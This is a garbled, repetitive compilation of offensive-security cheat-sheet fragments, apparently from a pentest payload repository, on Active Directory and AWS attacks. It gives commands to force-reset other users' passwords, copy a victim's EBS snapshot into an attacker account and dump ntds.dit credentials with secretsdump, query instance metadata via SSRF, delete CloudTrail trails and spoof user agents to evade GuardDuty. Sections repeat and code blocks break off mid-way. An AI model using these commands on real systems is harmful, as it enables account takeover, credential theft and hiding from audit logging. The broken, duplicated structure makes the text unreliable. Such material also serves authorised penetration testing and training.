* Enumerate AD Enterprise CAs with certutil: `certutil.exe -config - -ping`, `certutil -dump`
|
||||
Active Directory Certificate Services (AD CS) is a Microsoft Windows server role that provides a public key infrastructure (PKI). It allows you to create, manage, and distribute digital certificates, which are used to secure communication and transactions across a network.
|
||||
|
||||
|
||||
## ADCS Enumeration
|
||||
|
||||
* crackmapexec: `crackmapexec ldap domain.lab -u username -p password -M adcs`

## ForceChangePassword
|
||||
|
||||
An attacker can change the password of the user this ACE applies to:
|
||||
* On Windows, this can be achieved with `Set-DomainUserPassword` (PowerView module):
|
||||
```powershell
|
||||
$NewPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
|
||||
Set-DomainUserPassword -Identity 'TargetUser' -AccountPassword $NewPassword
|
||||
```
|
||||
|
||||
* On Linux:
|
||||
```bash
|
||||
# Using rpcclient from the Samba software suite
|
||||
rpcclient -U 'attacker_user%my_password' -W DOMAIN -c "setuserinfo2 target_user 23 target_newpwd"
|
||||
* Windows:
|
||||
```powershell
|
||||
$NewPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
|
||||
Set-DomainUserPassword -Identity 'TargetUser' -AccountPassword $NewPassword

### Access Key ID & Secret
|
||||
|
||||
IAM uses the following prefixes to indicate what type of resource each unique ID applies to. The first four characters are the prefix that depends on the type of the key.
|
||||
|
||||
| Prefix | Resource type |
|
||||
|--------------|-------------------------|
|
||||
| ABIA | AWS STS service bearer token |
|
||||
| ACCA | Context-specific credential |
|
||||
| AGPA | User group |
|
||||
| AIDA | IAM user |
|
||||
| AIPA | Amazon EC2 instance profile |
|
||||
| AKIA | Access key |
|
||||
| ANPA | Managed policy |
|
||||
| ANVA | Version in a managed policy |
|
||||
| APKA | Public key |
|
||||
| AROA | Role |
|
||||
| ASCA | Certificate |
|
||||
| ASIA | Temporary (AWS STS) access key |
|
||||
|
||||
The rest of the string is Base32 encoded and can be used to recover the account id.
|
||||
|
||||
```py
|
||||
import base64
|
||||
import binascii
|
||||
|
||||
def AWSAccount_from_AWSKeyID(AWSKeyID):
|
||||
|
||||
trimmed_AWSKeyID = AWSKeyID[4:] #remove KeyID prefix
|
||||
x = base64.b32decode(trimmed_AWSKeyID) #base32 decode
|
||||
y = x[0:6]
|
||||
|
||||
z = int.from_bytes(y, byteorder='big', signed=False)
|
||||
mask = int.from_bytes(binascii.unhexlify(b'7fffffffff80'), byteorder='big', signed=False)
|
||||
|
||||
e = (z & mask)>>7
|
||||
return (e)
|
||||
|
||||
|
||||
print ("account id:" + "{:012d}".format(AWSAccount_from_AWSKeyID("ASIAQNZGKIQY56JQ7WML")))
|
||||
```

## AWS - Metadata SSRF
|
||||
|
||||
> AWS released additional security defences against the attack.
|
||||
|
||||
:warning: Only working with IMDSv1.
|
||||
Enabling IMDSv2 : `aws ec2 modify-instance-metadata-options --instance-id <INSTANCE-ID> --profile <AWS_PROFILE> --http-endpoint enabled --http-token required`.
|
||||
|
||||
In order to use IMDSv2 you must provide a token.
|
||||
|
||||
```powershell
|
||||
export TOKEN=`curl -X PUT -H "X-aws-ec2-metadata-token-ttl-seconds: 21600" "http://169.254.169.254/latest/api/token"`
|
||||
curl -H "X-aws-ec2-metadata-token:$TOKEN" -v "http://169.254.169.254/latest/meta-data"
|
||||
```
|
||||

## AWS - Mount EBS volume to EC2 Linux
|
||||
|
||||
:warning: EBS snapshots are block-level incremental, which means that every snapshot only copies the blocks (or areas) in the volume that had been changed since the last snapshot. To restore your data, you need to create a new EBS volume from one of your EBS snapshots. The new volume will be a duplicate of the initial EBS volume on which the snapshot was taken.
|
||||
|
||||
1. Head over to EC2 –> Volumes and create a new volume of your preferred size and type.
|
||||
2. Select the created volume, right click and select the "attach volume" option.
|
||||
3. Select the instance from the instance text box as shown below : `attach ebs volume`
|
||||
```powershell
|
||||
aws ec2 create-volume –snapshot-id snapshot_id --availability-zone zone
|
||||
aws ec2 attach-volume –-volume-id volume_id –-instance-id instance_id --device device
|
||||
```
|
||||
4. Now, login to your ec2 instance and list the available disks using the following command : `lsblk`
|
||||
5. Check if the volume has any data using the following command : `sudo file -s /dev/xvdf`
|
||||
6. Format the volume to ext4 filesystem using the following command : `sudo mkfs -t ext4 /dev/xvdf`
|
||||
7. Create a directory of your choice to mount our new ext4 volume. I am using the name “newvolume” : `sudo mkdir /newvolume`
|
||||
8. Mount the volume to "newvolume" directory using the following command : `sudo mount /dev/xvdf /newvolume/`
|
||||
9. cd into newvolume directory and check the disk space for confirming the volume mount : `cd /newvolume; df -h .`
|
||||
|
||||
|
||||
## AWS - Copy EC2 using AMI Image
|
||||
|
||||
First you need to extract data about the current instances and their AMI/security groups/subnet : `aws ec2 describe-images --region eu-west-1`
|
||||
|
||||
```powershell
|
||||
# create a new image for the instance-id
|
||||
$ aws ec2 create-image --instance-id i-0438b003d81cd7ec5 --name "AWS Audit" --description "Export AMI" --region eu-west-1
|
||||
|
||||
# add key to AWS
|
||||
$ aws ec2 import-key-pair --key-name "AWS Audit" --public-key-material file://~/.ssh/id_rsa.pub --region eu-west-1
|
||||
|
||||
# create ec2 using the previously created AMI, use the same security group and subnet to connect easily.
|
||||
$ aws ec2 run-instances --image-id ami-0b77e2d906b00202d --security-group-ids "sg-6d0d7f01" --subnet-id subnet-9eb001ea --count 1 --instance-type t2.micro --key-name "AWS Audit" --query "Instances[0].InstanceId" --region eu-west-1
|
||||
|
||||
# now you can check the instance
|
||||
aws ec2 describe-instances --instance-ids i-0546910a0c18725a1
|
||||
|
||||
# If needed : edit groups
|
||||
aws ec2 modify-instance-attribute --instance-id "i-0546910a0c18725a1" --groups "sg-6d0d7f01" --region eu-west-1
|
||||
|
||||
# be a good guy, clean our instance to avoid any useless cost
|
||||
aws ec2 stop-instances --instance-id "i-0546910a0c18725a1" --region eu-west-1
|
||||
aws ec2 terminate-instances --instance-id "i-0546910a0c18725a1" --region eu-west-1
|
||||
```
|
||||
|

1. Load AWS CLI with Victim Credentials that have at least CreateSnapshot permissions
|
||||
2. Run `"Describe-Instances"` and show in list for attacker to select
|
||||
3. Run `"Create-Snapshot"` on volume of selected instance
|
||||
4. Run `"modify-snapshot-attribute"` on new snapshot to set `"createVolumePermission"` to attacker AWS Account
|
||||
5. Load AWS CLI with Attacker Credentials
|
||||
6. Run `"run-instance"` command to create new linux ec2 with our stolen snapshot
|
||||
7. Ssh run `"sudo mkdir /windows"`
|
||||
8. Ssh run `"sudo mount /dev/xvdf1 /windows/"`
|
||||
9. Ssh run `"sudo cp /windows/Windows/NTDS/ntds.dit /home/ec2-user"`
|
||||
10. Ssh run `"sudo cp /windows/Windows/System32/config/SYSTEM /home/ec2-user"`
|
||||
11. Ssh run `"sudo chown ec2-user:ec2-user /home/ec2-user/*"`
|
||||
12. SFTP get `"/home/ec2-user/SYSTEM ./SYSTEM"`
|
||||
13. SFTP get `"/home/ec2-user/ntds.dit ./ntds.dit"`
|
||||
14. locally run `"secretsdump.py -system ./SYSTEM -ntds ./ntds.dit local -outputfile secrets'`, expects secretsdump to be on path
|
||||
|
||||
## Disable CloudTrail
|
||||
|
||||
```powershell
|
||||
$ aws cloudtrail delete-trail --name cloudgoat_trail --profile administrator
|
||||
```
|
||||
|
||||
Disable monitoring of events from global services
|
||||
|
||||
```powershell
|
||||
$ aws cloudtrail update-trail --name cloudgoat_trail --no-include-global-service-event
|
||||
```
|
||||
|
||||
Disable Cloud Trail on specific regions
|
||||
|
||||
```powershell
|
||||
$ aws cloudtrail update-trail --name cloudgoat_trail --no-include-global-service-event --no-is-multi-region --region=eu-west
|
||||
```
|
||||
|
||||
## Cover tracks by obfuscating Cloudtrail logs and Guard Duty
|
||||
|
||||
:warning: When using awscli on Kali Linux, Pentoo and Parrot Linux, a log is generated based on the user-agent.
|
||||
|
||||
Pacu bypass this problem by defining a custom User-Agent (https://github.com/RhinoSecurityLabs/pacu/blob/master/pacu.py#L1473)
|
||||
|
||||
```python
|
||||
boto3_session = boto3.session.Session()
|
||||
ua = boto3_session._session.user_agent()
|
||||
if 'kali' in ua.lower() or 'parrot' in ua.lower() or 'pentoo' in ua.lower(): # If the local OS is Kali/Parrot/Pentoo Linux
|
||||
# GuardDuty triggers a finding around API calls made from Kali Linux, so let's avoid that...
|
||||
self.print('Detected environment as one of Kali/Parrot/Pentoo Linux. Modifying user agent to hide that from GuardDuty...')
|
||||
```
|
||||
|
||||
## DynamoDB
|
||||
> Amazon DynamoDB is a key-value and document database that delivers single-digit millisecond performance at any scale. It's a fully managed, multi-region, multi-active, durable database with built-in security, backup and restore, and in-memory caching for internet-scale applications. DynamoDB can handle more than 10 trillion requests per day and can support peaks of more than 20 million requests per second.
|
||||
|
||||
* list tables
|
||||
```bash
|
||||
$ aws --endpoint-url http://s3.bucket.htb dynamodb list-tables
|
||||

## Access Key ID & Secret
|
||||
|
||||
IAM uses the following prefixes to indicate what type of resource each unique ID applies to. The first four characters are the prefix that depends on the type of the key.
|
||||
|
||||
| Prefix | Resource type |
|
||||
|--------------|-------------------------|
|
||||
| ABIA | AWS STS service bearer token |
|
||||
| ACCA | Context-specific credential |
|
||||
| AGPA | User group |
|
||||
| AIDA | IAM user |
|
||||
| AIPA | Amazon EC2 instance profile |
|
||||
| AKIA | Access key |
|
||||
| ANPA | Managed policy |
|
||||
| ANVA | Version in a managed policy |
|
||||
| APKA | Public key |
|
||||
| AROA | Role |
|
||||
| ASCA | Certificate |
|
||||
| ASIA | Temporary (AWS STS) access key |
|
||||
|
||||
The rest of the string is Base32 encoded and can be used to recover the account id.
|
||||
|
||||
```py
|
||||
import base64
|
||||
import binascii
|
||||
|
||||
def AWSAccount_from_AWSKeyID(AWSKeyID):
|
||||
|
||||
trimmed_AWSKeyID = AWSKeyID[4:] #remove KeyID prefix
|
||||
x = base64.b32decode(trimmed_AWSKeyID) #base32 decode
|
||||
y = x[0:6]
|
||||
|
||||
z = int.from_bytes(y, byteorder='big', signed=False)
|
||||
mask = int.from_bytes(binascii.unhexlify(b'7fffffffff80'), byteorder='big', signed=False)
|
||||
|
||||
e = (z & mask)>>7
|
||||
return (e)
|
||||
|
||||
|
||||
print ("account id:" + "{:012d}".format(AWSAccount_from_AWSKeyID("ASIAQNZGKIQY56JQ7WML")))

# AWS - EC2
|

|
||||
* [dufflebag](https://labs.bishopfox.com/dufflebag) - Find secrets that are accidentally exposed via Amazon EBS's "public" mode
|
||||
|
||||
|
||||
## Copy EC2 using AMI Image
|
||||
|
||||
First you need to extract data about the current instances and their AMI/security groups/subnet : `aws ec2 describe-images --region eu-west-1`
|
||||
|
||||
```powershell
|
||||
# create a new image for the instance-id
|
||||
$ aws ec2 create-image --instance-id i-0438b003d81cd7ec5 --name "AWS Audit" --description "Export AMI" --region eu-west-1
|
||||
|
||||
# add key to AWS
|
||||
$ aws ec2 import-key-pair --key-name "AWS Audit" --public-key-material file://~/.ssh/id_rsa.pub --region eu-west-1
|
||||
|
||||
# create ec2 using the previously created AMI, use the same security group and subnet to connect easily.
|
||||
$ aws ec2 run-instances --image-id ami-0b77e2d906b00202d --security-group-ids "sg-6d0d7f01" --subnet-id subnet-9eb001ea --count 1 --instance-type t2.micro --key-name "AWS Audit" --query "Instances[0].InstanceId" --region eu-west-1
|
||||
|
||||
# now you can check the instance
|
||||
aws ec2 describe-instances --instance-ids i-0546910a0c18725a1
|
||||
|
||||
# If needed : edit groups
|
||||
aws ec2 modify-instance-attribute --instance-id "i-0546910a0c18725a1" --groups "sg-6d0d7f01" --region eu-west-1
|
||||
|
||||
# be a good guy, clean our instance to avoid any useless cost
|
||||
aws ec2 stop-instances --instance-id "i-0546910a0c18725a1" --region eu-west-1
|
||||
aws ec2 terminate-instances --instance-id "i-0546910a0c18725a1" --region eu-west-1
|
||||
```
|
||||
|
||||
|
||||
## Mount EBS volume to EC2 Linux
|
||||
|
||||
:warning: EBS snapshots are block-level incremental, which means that every snapshot only copies the blocks (or areas) in the volume that had been changed since the last snapshot. To restore your data, you need to create a new EBS volume from one of your EBS snapshots. The new volume will be a duplicate of the initial EBS volume on which the snapshot was taken.
|
||||
|
||||
1. Head over to EC2 –> Volumes and create a new volume of your preferred size and type.
|
||||
2. Select the created volume, right click and select the "attach volume" option.
|
||||
3. Select the instance from the instance text box as shown below : `attach ebs volume`
|
||||
```powershell
|
||||
aws ec2 create-volume –snapshot-id snapshot_id --availability-zone zone
|
||||
aws ec2 attach-volume –-volume-id volume_id –-instance-id instance_id --device device
|
||||
```
|
||||
4. Now, login to your ec2 instance and list the available disks using the following command : `lsblk`
|
||||
5. Check if the volume has any data using the following command : `sudo file -s /dev/xvdf`
|
||||
6. Format the volume to ext4 filesystem using the following command : `sudo mkfs -t ext4 /dev/xvdf`
|
||||
7. Create a directory of your choice to mount our new ext4 volume. I am using the name “newvolume” : `sudo mkdir /newvolume`
|
||||
8. Mount the volume to "newvolume" directory using the following command : `sudo mount /dev/xvdf /newvolume/`
|
||||
9. cd into newvolume directory and check the disk space for confirming the volume mount : `cd /newvolume; df -h .`
|
||||
|
||||
|
||||
## Shadow Copy attack
|
||||
|
||||
**Requirements**:
|
||||
|
||||
* EC2:CreateSnapshot
|
||||
* [Static-Flow/CloudCopy](https://github.com/Static-Flow/CloudCopy)
|
||||
|
||||
**Exploit**:
|
||||
|
||||
1. Load AWS CLI with Victim Credentials that have at least CreateSnapshot permissions
|
||||
2. Run `"Describe-Instances"` and show in list for attacker to select
|
||||
3. Run `"Create-Snapshot"` on volume of selected instance
|
||||
4. Run `"modify-snapshot-attribute"` on new snapshot to set `"createVolumePermission"` to attacker AWS Account
|
||||
5. Load AWS CLI with Attacker Credentials
|
||||
6. Run `"run-instance"` command to create new linux ec2 with our stolen snapshot
|
||||
7. Ssh run `"sudo mkdir /windows"`
|
||||
8. Ssh run `"sudo mount /dev/xvdf1 /windows/"`
|
||||
9. Ssh run `"sudo cp /windows/Windows/NTDS/ntds.dit /home/ec2-user"`
|
||||
10. Ssh run `"sudo cp /windows/Windows/System32/config/SYSTEM /home/ec2-user"`
|
||||
11. Ssh run `"sudo chown ec2-user:ec2-user /home/ec2-user/*"`
|
||||
12. SFTP get `"/home/ec2-user/SYSTEM ./SYSTEM"`

# AWS - Metadata SSRF
|
||||
|
||||
> AWS released additional security defences against the attack.
|
||||
|
||||
:warning: Only working with IMDSv1.
|
||||
Enabling IMDSv2 : `aws ec2 modify-instance-metadata-options --instance-id <INSTANCE-ID> --profile <AWS_PROFILE> --http-endpoint enabled --http-token required`.
|
||||
|
||||
In order to use IMDSv2 you must provide a token.
|
||||
|
||||
```powershell
|
||||
export TOKEN=`curl -X PUT -H "X-aws-ec2-metadata-token-ttl-seconds: 21600" "http://169.254.169.254/latest/api/token"`
|
||||
curl -H "X-aws-ec2-metadata-token:$TOKEN" -v "http://169.254.169.254/latest/meta-data"
|
||||
```
